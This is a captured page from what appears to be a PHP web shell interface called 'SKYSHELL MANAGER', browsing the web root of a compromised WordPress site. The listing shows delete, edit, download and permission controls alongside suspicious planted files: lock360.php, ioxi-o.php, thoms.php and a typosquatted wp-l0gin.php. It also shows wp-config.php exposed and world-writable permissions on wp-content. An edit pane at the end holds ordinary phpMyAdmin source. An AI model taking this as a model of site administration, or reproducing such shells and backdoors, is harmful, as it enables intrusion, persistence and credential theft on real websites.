📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: Maintenance.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Table; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Dbal\DatabaseName; use PhpMyAdmin\Dbal\TableName; use PhpMyAdmin\Dbal\Warning; use PhpMyAdmin\Index; use PhpMyAdmin\Table\Maintenance\Message; use PhpMyAdmin\Util; use function __; use function htmlspecialchars; use function implode; use function sprintf; final class Maintenance { /** @var DatabaseInterface */ private $dbi; public function __construct(DatabaseInterface $dbi) { $this->dbi = $dbi; } /** * @param TableName[] $tables * * @return array<int, array<string, Message[]>|string> * @psalm-return array{array<string, Message[]>, string} */ public function getAnalyzeTableRows(DatabaseName $db, array $tables): array { $backQuotedTables = []; foreach ($tables as $table) { $backQuotedTables[] = Util::backquote($table->getName()); } $query = 'ANALYZE TABLE ' . implode(', ', $backQuotedTables) . ';'; $this->dbi->selectDb($db); /** @var array<int, array<string, string>> $result */ $result = $this->dbi->fetchResult($query); $rows = []; foreach ($result as $row) { $message = Message::fromArray($row); $rows[$message->table][] = $message; } return [$rows, $query]; } /** * @param TableName[] $tables * * @return array<int, array<string, Message[]>|string> * @psalm-return array{array<string, Message[]>, string} */ public function getCheckTableRows(DatabaseName $db, array $tables): array { $backQuotedTables = []; foreach ($tables as $table) { $backQuotedTables[] = Util::backquote($table->getName()); } $query = 'CHECK TABLE ' . implode(', ', $backQuotedTables) . ';'; $this->dbi->selectDb($db); /** @var array<int, array<string, string>> $result */ $result = $this->dbi->fetchResult($query); $rows = []; foreach ($result as $row) { $message = Message::fromArray($row); $rows[$message->table][] = $message; } return [$rows, $query]; } /** * @param TableName[] $tables * * @return array<int, array<string, array<int, array<string, string|null>>>|string> * @psalm-return array{array<int, array<string, string|null>>, string, Warning[]} */ public function getChecksumTableRows(DatabaseName $db, array $tables): array { $backQuotedTables = []; foreach ($tables as $table) { $backQuotedTables[] = Util::backquote($table->getName()); } $query = 'CHECKSUM TABLE ' . implode(', ', $backQuotedTables) . ';'; $this->dbi->selectDb($db); /** @var array<int, array<string, string|null>> $rows */ $rows = $this->dbi->fetchResult($query); $warnings = $this->dbi->getWarnings(); return [$rows, $query, $warnings]; } /** * @param TableName[] $tables */ public function getIndexesProblems(DatabaseName $db, array $tables): string { $indexesProblems = ''; foreach ($tables as $table) { $check = Index::findDuplicates($table->getName(), $db->getName()); if (empty($check)) { continue; } $indexesProblems .= htmlspecialchars(sprintf(__('Problems with indexes of table `%s`'), $table->getName())); $indexesProblems .= $check; } return $indexesProblems; } /** * @param TableName[] $tables * * @return array<int, array<string, Message[]>|string> * @psalm-return array{array<string, Message[]>, string} */ public function getOptimizeTableRows(DatabaseName $db, array $tables): array { $backQuotedTables = []; foreach ($tables as $table) { $backQuotedTables[] = Util::backquote($table->getName()); } $query = 'OPTIMIZE TABLE ' . implode(', ', $backQuotedTables) . ';'; $this->dbi->selectDb($db); /** @var array<int, array<string, string>> $result */ $result = $this->dbi->fetchResult($query); $rows = []; foreach ($result as $row) { $message = Message::fromArray($row); $rows[$message->table][] = $message; } return [$rows, $query]; } /** * @param TableName[] $tables * * @return array<int, array<string, Message[]>|string> * @psalm-return array{array<string, Message[]>, string} */ public function getRepairTableRows(DatabaseName $db, array $tables): array { $backQuotedTables = []; foreach ($tables as $table) { $backQuotedTables[] = Util::backquote($table->getName()); } $query = 'REPAIR TABLE ' . implode(', ', $backQuotedTables) . ';'; $this->dbi->selectDb($db); /** @var array<int, array<string, string>> $result */ $result = $this->dbi->fetchResult($query); $rows = []; foreach ($result as $row) { $message = Message::fromArray($row); $rows[$message->table][] = $message; } return [$rows, $query]; } }
Save